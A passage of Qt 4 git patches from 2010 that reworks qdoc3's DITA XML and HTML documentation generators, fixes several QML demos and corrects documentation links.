++s; } -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) { @@ -2138,90 +2080,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // </section> } } -#if 0 - else if (fake->subType() == Node::HeaderFile) { - generateStatus(fake, marker); - QString membersLink = generateListOfAllMemberFile(fake, marker); - QString obsoleteLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Compat); - - if (!membersLink.isEmpty() || !obsoleteLink.isEmpty() || !compatLink.isEmpty()) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","member-lists"); - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - xmlWriter().writeEndElement(); // </ul> - xmlWriter().writeEndElement(); // </section> - } - } - else if (fake->subType() == Node::QmlClass) { - const QmlClassNode* qml_cn = static_cast<const QmlClassNode*>(fake); - const ClassNode* cn = qml_cn->classNode(); - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","apiDesc"); - generateQmlInstantiates(qml_cn, marker); - generateQmlInherits(qml_cn, marker); - generateQmlInheritedBy(qml_cn, marker); - xmlWriter().writeEndElement(); // </section> - sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); - s = sections.begin(); - while (s != sections.end()) { - xmlWriter().writeStartElement("section"); - QString attr = cleanRef((*s).name).toLower(); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); // - generateQmlSummary(*s,fake,marker); - xmlWriter().writeEndElement(); //
    - ++s; - } - - writeDetailedDescription(fake, marker, false, QString("Detailed Description")); - - if (cn) - generateQmlText(cn->doc().body(), cn, marker, fake->name()); - - generateAlsoList(fake, marker); - - sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); - s = sections.begin(); - while (s != sections.end()) { - if (!s->members.isEmpty()) { - QString attr; - xmlWriter().writeStartElement("section"); - attr = cleanRef((*s).name).toLower(); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); // - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - ++m; - } - xmlWriter().writeEndElement(); //
    - } - ++s; - } - xmlWriter().writeEndElement(); // - return; - } -#endif if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { @@ -2685,106 +2543,48 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, return fileName; } -#if 0 -QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, - CodeMarker* marker, - CodeMarker::Status status) +void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status) { - QList
    sections = marker->sections(inner,CodeMarker::Summary,status); + QString attribute; + if (status == CodeMarker::Compat) + attribute = "Qt3-support"; + else if (status == CodeMarker::Obsolete) + attribute = "obsolete"; + else + return; + + QList
    sections = marker->sections(inner, CodeMarker::Detailed, status); QMutableListIterator
    j(sections); while (j.hasNext()) { if (j.next().members.size() == 0) j.remove(); } if (sections.isEmpty()) - return QString(); - - int i; - QString title; - QString fileName; - - if (status == CodeMarker::Compat) { - title = "Qt 3 Support Members for " + inner->name(); - fileName = fileBase(inner) + "-qt3." + fileExtension(inner); - } - else { - title = "Obsolete Members for " + inner->name(); - fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); - } - beginSubPage(inner->location(), fileName); - generateHeader(inner, title, true); - xmlWriter().writeStartElement("body"); - xmlWriter().writeStartElement("section"); - if (!title.isEmpty()) { - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass", "h1"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); // - } - - xmlWriter().writeStartElement("p"); - if (status == CodeMarker::Compat) { - xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are part of the "); - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href","qt3support.html"); - xmlWriter().writeCharacters("Qt 3 support layer"); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters(". "); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("They are provided to help you port old code to Qt 4. " - "We advise against using them in new code."); - } - else { - xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are obsolete. "); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("They are provided to keep old source code working. " - "We strongly advise against using them in new code."); - } - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); - xmlWriter().writeStartElement("ul"); - QString text = protectEnc(inner->name()) + " class reference"; - writeXrefListItem(linkForNode(inner,0),text); - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); //

    - xmlWriter().writeEndElement(); //
    - - for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); // - generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); - generateSectionInheritedList(sections.at(i), inner, marker); - xmlWriter().writeEndElement(); //
    - } - - sections = marker->sections(inner, CodeMarker::Detailed, status); - for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); // + return; - NodeList::ConstIterator m = sections.at(i).members.begin(); - while (m != sections.at(i).members.end()) { - if ((*m)->access() != Node::Private) { - generateDetailedMember(*m, inner, marker); - } - ++m; + QList
    ::ConstIterator s = sections.begin(); + while (s != sections.end()) { + if ((*s).name == "Member Function Documentation") { + writeFunctions((*s),inner,marker,attribute); + } + else if ((*s).name == "Member Type Documentation") { + writeEnumerations((*s),marker,attribute); + writeTypedefs((*s),marker,attribute); + } + else if ((*s).name == "Member Variable Documentation") { + writeDataMembers((*s),marker,attribute); } - xmlWriter().writeEndElement(); //
    + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker,attribute); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker,attribute); + } + ++s; } - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - endSubPage(); - return fileName; } -#endif /*! Write the XML for the class hierarchy to the current XML stream. @@ -3789,6 +3589,7 @@ QString DitaXmlGenerator::fileBase(const Node* node) const { QString result; result = PageGenerator::fileBase(node); +#if 0 if (!node->isInnerNode()) { switch (node->status()) { case Node::Compat: @@ -3801,6 +3602,7 @@ QString DitaXmlGenerator::fileBase(const Node* node) const ; } } +#endif return result; } @@ -3969,6 +3771,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, actualNode = apparentNode; xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); +#if 0 if (true || relative == 0 || relative->status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: @@ -3981,6 +3784,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, break; } } +#endif xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4482,12 +4286,12 @@ void DitaXmlGenerator::beginLink(const QString& link, case Node::Obsolete: xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeAttribute("outputclass","obsolete"); + //xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeAttribute("outputclass","compat"); + //xmlWriter().writeAttribute("outputclass","compat"); break; default: xmlWriter().writeStartElement("xref"); @@ -4880,7 +4684,8 @@ void DitaXmlGenerator::writeLocation(const Node* n) */ void DitaXmlGenerator::writeFunctions(const Section& s, const Node* n, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -4888,6 +4693,8 @@ void DitaXmlGenerator::writeFunctions(const Section& s, FunctionNode* fn = const_cast(static_cast(*m)); xmlWriter().writeStartElement(CXXFUNCTION); xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); if (fn->metaness() == FunctionNode::Signal) xmlWriter().writeAttribute("class","signal"); @@ -5049,7 +4856,8 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn) This function writes the enum types. */ void DitaXmlGenerator::writeEnumerations(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5057,6 +4865,8 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, const EnumNode* en = static_cast(*m); xmlWriter().writeStartElement(CXXENUMERATION); xmlWriter().writeAttribute("id",en->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(en->name()); xmlWriter().writeEndElement(); // @@ -5164,7 +4974,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, This function writes the output for the \typedef commands. */ void DitaXmlGenerator::writeTypedefs(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) + { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5172,6 +4984,8 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, const TypedefNode* tn = static_cast(*m); xmlWriter().writeStartElement(CXXTYPEDEF); xmlWriter().writeAttribute("id",tn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(tn->name()); xmlWriter().writeEndElement(); // @@ -5224,7 +5038,8 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, This is the Q_PROPERTYs. */ void DitaXmlGenerator::writeProperties(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5232,6 +5047,8 @@ void DitaXmlGenerator::writeProperties(const Section& s, const PropertyNode* pn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",pn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(pn->name()); xmlWriter().writeEndElement(); // @@ -5333,7 +5150,8 @@ void DitaXmlGenerator::writeProperties(const Section& s, This function outputs the nodes resulting from \variable commands. */ void DitaXmlGenerator::writeDataMembers(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5341,6 +5159,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, const VariableNode* vn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",vn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(vn->name()); xmlWriter().writeEndElement(); // @@ -5414,7 +5234,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, This function writes a \macro as a . */ void DitaXmlGenerator::writeMacros(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5423,6 +5244,8 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (fn->isMacro()) { xmlWriter().writeStartElement(CXXDEFINE); xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(fn->name()); xmlWriter().writeEndElement(); // diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index afa77bb..aa8ca77 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -116,14 +116,25 @@ class DitaXmlGenerator : public PageGenerator void writeLocation(const Node* n); void writeFunctions(const Section& s, const Node* n, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeNestedClasses(const Section& s, const Node* n); void writeParameters(const FunctionNode* fn); - void writeEnumerations(const Section& s, CodeMarker* marker); - void writeTypedefs(const Section& s, CodeMarker* marker); - void writeDataMembers(const Section& s, CodeMarker* marker); - void writeProperties(const Section& s, CodeMarker* marker); - void writeMacros(const Section& s, CodeMarker* marker); + void writeEnumerations(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeTypedefs(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeDataMembers(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeProperties(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeMacros(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); void writePropertyParameter(const QString& tag, const NodeList& nlist); private: @@ -153,6 +164,9 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, QList
    * sections = 0); QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); + void generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status); QString generateLowStatusMemberFile(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status); -- cgit v0.12 From 2f1726c4e10a6fbafb4953d68946d5501f5e0c8c Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 29 Oct 2010 11:40:39 +1000 Subject: Fix zooming in declarative webbrowser demo Task-number: Reviewed-by: Martin Jones --- demos/declarative/webbrowser/content/FlickableWebView.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml index 6f4e09c..a82a151 100644 --- a/demos/declarative/webbrowser/content/FlickableWebView.qml +++ b/demos/declarative/webbrowser/content/FlickableWebView.qml @@ -128,7 +128,7 @@ Flickable { if (!heuristicZoom(clickX,clickY,2.5)) { var zf = flickable.width / contentsSize.width if (zf >= contentsScale) - zf = 2.0/zoomFactor // zoom in (else zooming out) + zf = 2.0*contentsScale // zoom in (else zooming out) doZoom(zf,clickX*zf,clickY*zf) } } -- cgit v0.12 From deea8d2b324ca98d48c931c6d3a14ec197388f50 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 29 Oct 2010 13:05:16 +1000 Subject: Suppress current item null warnings when running Browser.qml Task-number: Reviewed-by: Martin Jones --- tools/qml/browser/Browser.qml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qml/browser/Browser.qml b/tools/qml/browser/Browser.qml index ebed72f..b9573da 100644 --- a/tools/qml/browser/Browser.qml +++ b/tools/qml/browser/Browser.qml @@ -180,7 +180,7 @@ Rectangle { GradientStop { id: t1; position: 0.0; color: palette.highlight } GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } } - width: view1.currentItem.width + width: view1.currentItem == null ? 0 : view1.currentItem.width } highlightMoveSpeed: 1000 pressDelay: 100 @@ -230,7 +230,7 @@ Rectangle { GradientStop { id: t1; position: 0.0; color: palette.highlight } GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } } - width: view1.currentItem.width + width: view1.currentItem == null ? 0 : view1.currentItem.width } highlightMoveSpeed: 1000 pressDelay: 100 -- cgit v0.12 From 08ab82e447a0cac0a48daf900c57127c2ee534d2 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 29 Oct 2010 12:34:53 +0200 Subject: qdoc: Don't put classes that have empty doc in hierarchy. --- tools/qdoc3/ditaxmlgenerator.cpp | 17 +++-------------- tools/qdoc3/htmlgenerator.cpp | 2 +- 2 files changed, 4 insertions(+), 15 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index fa0aa43..a885f29 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2271,18 +2271,6 @@ void DitaXmlGenerator::generateTitle(const QString& title, void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(true); // zzz - if (outFileName() == "requirements-x11.xml") { - if (brief.isEmpty()) - qDebug() << "EMPTY BRIEF"; - else { - qDebug() << "NON-EMPTY BRIEF"; - Atom* a = brief.firstAtom(); - while (a != 0) { - qDebug() << " " << a->type() << a->typeString() << a->string(); - a = a->next(); - } - } - } if (!brief.isEmpty()) { generateText(brief, node, marker); } @@ -2626,7 +2614,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { @@ -4587,7 +4575,8 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) // not included: xmlWriter().writeStartElement(CXXCLASSBASECLASS); - xmlWriter().writeAttribute("href",(*r).node->ditaXmlHref()); + QString attr = fileName((*r).node) + "#" + (*r).node->guid(); + xmlWriter().writeAttribute("href",attr); xmlWriter().writeCharacters(marker->plainFullName((*r).node)); xmlWriter().writeEndElement(); // diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 19b86e0..9ce8522 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -2424,7 +2424,7 @@ void HtmlGenerator::generateClassHierarchy(const Node *relative, NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { -- cgit v0.12 From 5fdbfcaa0ebda0b2062d962734546309c6d2247c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 1 Nov 2010 08:25:03 +0100 Subject: doc: Corrections to linking errors detected by the DITA XML generator.. --- doc/src/examples/svgalib.qdoc | 5 ++--- doc/src/platforms/emb-accel.qdoc | 4 ++-- doc/src/porting/porting4-modifiedvirtual.qdocinc | 2 +- src/qt3support/network/q3dns.cpp | 27 ++++++++++++++++-------- 4 files changed, 23 insertions(+), 15 deletions(-) diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc index 3e3e4d5..f733058 100644 --- a/doc/src/examples/svgalib.qdoc +++ b/doc/src/examples/svgalib.qdoc @@ -322,9 +322,8 @@ \snippet examples/qws/svgalib/svgalibsurface.h 0 We can implement most of the pure virtual functions inherited from - QWSWindowSurface as trivial inline functions, except the - \l {QWindowSurface::}{scroll()} function that actually makes use - of some hardware acceleration: + QWSWindowSurface as trivial inline functions, except the scroll() + function that actually makes use of some hardware acceleration: \snippet examples/qws/svgalib/svgalibsurface.cpp 0 diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc index c8854f7..77447de 100644 --- a/doc/src/platforms/emb-accel.qdoc +++ b/doc/src/platforms/emb-accel.qdoc @@ -117,8 +117,8 @@ \section1 Step 4: Make the Window Surface Aware of Your Paint Device - Derive from the QWSWindowSurface class and reimplement its \l - {QWSWindowSurface::}{paintDevice()} function. Make this function + Derive from the QWSWindowSurface class and reimplement its + paintDevice() function. Make this function return a pointer to your custom raster paint device. \section1 Step 5: Enable Creation of an Instance of Your Window Surface diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc index 1164238..332543f 100644 --- a/doc/src/porting/porting4-modifiedvirtual.qdocinc +++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc @@ -10,7 +10,7 @@ \row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int) \row \o QValueList QMacMime::convertFromMime(QByteArray, const char *, int) \o QList QMacMime::convertFromMime(QByteArray, const QString &, int) \row \o QByteArray QMacMime::convertToMime(QValueList data, const char *, int) \o QByteArray QMacMime::convertToMime(QList data, const QString &, int) -\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName() +\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( ) \row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &) \row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int) \row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const diff --git a/src/qt3support/network/q3dns.cpp b/src/qt3support/network/q3dns.cpp index e0e9909..cc39566 100644 --- a/src/qt3support/network/q3dns.cpp +++ b/src/qt3support/network/q3dns.cpp @@ -2009,15 +2009,20 @@ Q3ValueList Q3Dns::addresses() const \class Q3Dns::MailServer \brief The Q3Dns::MailServer class is described in Q3Dns::mailServers(). - \internal +*/ + + +/*! \fn Q3Dns::MailServer::MailServer(const QString& n, Q_UINT16 p) + The constructor sets the public data members name and priority. + \a n is the name and \a p is the priority. */ /*! Returns a list of mail servers if the record type is \c Mx. The class Q3Dns::MailServer contains the following public variables: \list - \i QString Q3Dns::MailServer::name - \i Q_UINT16 Q3Dns::MailServer::priority + \o QString Q3Dns::MailServer::name + \o Q_UINT16 Q3Dns::MailServer::priority \endlist Note that if you want to iterate over the list, you should iterate @@ -2048,22 +2053,26 @@ Q3ValueList Q3Dns::mailServers() const return result; } - /*! \class Q3Dns::Server \brief The Q3Dns::Server class is described in Q3Dns::servers(). - \internal +*/ + +/*! \fn Q3Dns::Server::Server(const QString& n, Q_UINT16 p, Q_UINT16 w, Q_UINT16 po) + The constructor sets the public data members name, priority, + weight, and port. \a n is the name, \a p is the priority, + \a w is the weight, and \a po is the port. */ /*! Returns a list of servers if the record type is \c Srv. The class Q3Dns::Server contains the following public variables: \list - \i QString Q3Dns::Server::name - \i Q_UINT16 Q3Dns::Server::priority - \i Q_UINT16 Q3Dns::Server::weight - \i Q_UINT16 Q3Dns::Server::port + \o QString Q3Dns::Server::name + \o Q_UINT16 Q3Dns::Server::priority + \o Q_UINT16 Q3Dns::Server::weight + \o Q_UINT16 Q3Dns::Server::port \endlist Note that if you want to iterate over the list, you should iterate -- cgit v0.12 From 56ae8da559b3d225698eb79b78eec44a8b62239d Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 1 Nov 2010 18:00:40 +1000 Subject: Increase cachebuffer in Flickr demo to quarantee expanded delegate is not deleted the during device orientation change Task-number: QT-3824 Reviewed-by: Martin Jones --- demos/declarative/flickr/flickr.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/flickr/flickr.qml b/demos/declarative/flickr/flickr.qml index 740ee35..9387948 100644 --- a/demos/declarative/flickr/flickr.qml +++ b/demos/declarative/flickr/flickr.qml @@ -62,7 +62,7 @@ Item { GridView { id: photoGridView; model: rssModel; delegate: Mobile.GridDelegate {} - cacheBuffer: 100 + cacheBuffer: 1000 cellWidth: (parent.width-2)/4; cellHeight: cellWidth; width: parent.width; height: parent.height } -- cgit v0.12 From d5d44eb800f1c0be15d49521cf991a1c9466cb78 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 1 Nov 2010 12:04:32 +0100 Subject: doc: Corrections to linking errors in the docs. --- src/gui/dialogs/qpagesetupdialog.cpp | 8 ++++---- src/qt3support/tools/q3memarray.qdoc | 4 ++-- src/qt3support/tools/q3ptrlist.qdoc | 3 ++- tools/qdoc3/ditaxmlgenerator.cpp | 15 +++++++++------ tools/qdoc3/htmlgenerator.cpp | 1 + tools/qdoc3/node.cpp | 15 +++++++++++++++ tools/qdoc3/node.h | 2 ++ 7 files changed, 35 insertions(+), 13 deletions(-) diff --git a/src/gui/dialogs/qpagesetupdialog.cpp b/src/gui/dialogs/qpagesetupdialog.cpp index 5d77de1..141a687 100644 --- a/src/gui/dialogs/qpagesetupdialog.cpp +++ b/src/gui/dialogs/qpagesetupdialog.cpp @@ -104,10 +104,10 @@ class QPageSetupDialogPrivate : public QAbstractPageSetupDialogPrivate This value is obsolete and does nothing since Qt 4.5: - \value DontUseSheet In previous versions of Qt, exec() the page setup dialog - would create a sheet by default if the dialog was given a parent. - This is no longer supported in Qt 4.5. If you want to use sheets, use - QPageSetupDialog::open() instead. + \value DontUseSheet In previous versions of QDialog::exec() the + page setup dialog would create a sheet by default if the dialog + was given a parent. This is no longer supported from Qt 4.5. If + you want to use sheets, use QPageSetupDialog::open() instead. \omitvalue None \omitvalue OwnsPrinter diff --git a/src/qt3support/tools/q3memarray.qdoc b/src/qt3support/tools/q3memarray.qdoc index 13b1c2f..fdf0411 100644 --- a/src/qt3support/tools/q3memarray.qdoc +++ b/src/qt3support/tools/q3memarray.qdoc @@ -221,8 +221,8 @@ New elements are not initialized. - \a optim is either Q3GArray::MemOptim (the default) or - Q3GArray::SpeedOptim. When optimizing for speed rather than memory + \a optim is either \c MemOptim (the default) or + \c SpeedOptim. When optimizing for speed rather than memory consumption, the array uses a smart grow and shrink algorithm that might allocate more memory than is actually needed for \a size elements. This speeds up subsequent resize operations, for example diff --git a/src/qt3support/tools/q3ptrlist.qdoc b/src/qt3support/tools/q3ptrlist.qdoc index 294e4ba..cbba1b7 100644 --- a/src/qt3support/tools/q3ptrlist.qdoc +++ b/src/qt3support/tools/q3ptrlist.qdoc @@ -93,7 +93,8 @@ also holds pointers to the next and previous list items. The functions currentNode(), removeNode(), and takeNode() operate directly on the Q3LNode, but they should be used with care. The - data component of the node is available through Q3LNode::getData(). + data component of the node is available through Q3LNode's getData() + function. The Q3StrList class is a list of \c char*. It reimplements newItem(), deleteItem() and compareItems(). (But diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a885f29..4bc08a3 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2907,7 +2907,7 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeAttribute("outputclass","function-index"); xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); @@ -3980,6 +3980,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) else if ((*c)->type() == Node::Function) { const FunctionNode* func = static_cast(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); @@ -4776,12 +4777,14 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeCharacters(fnl); xmlWriter().writeEndElement(); // - if (fn->isReimp() && fn->reimplementedFrom() != 0) { + if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); - xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); - xmlWriter().writeEndElement(); // + if (rfn && !rfn->isInternal()) { + xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // + } } writeParameters(fn); writeLocation(fn); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 9ce8522..c247be8 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -3807,6 +3807,7 @@ void HtmlGenerator::findAllFunctions(const InnerNode *node) else if ((*c)->type() == Node::Function) { const FunctionNode *func = static_cast(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { 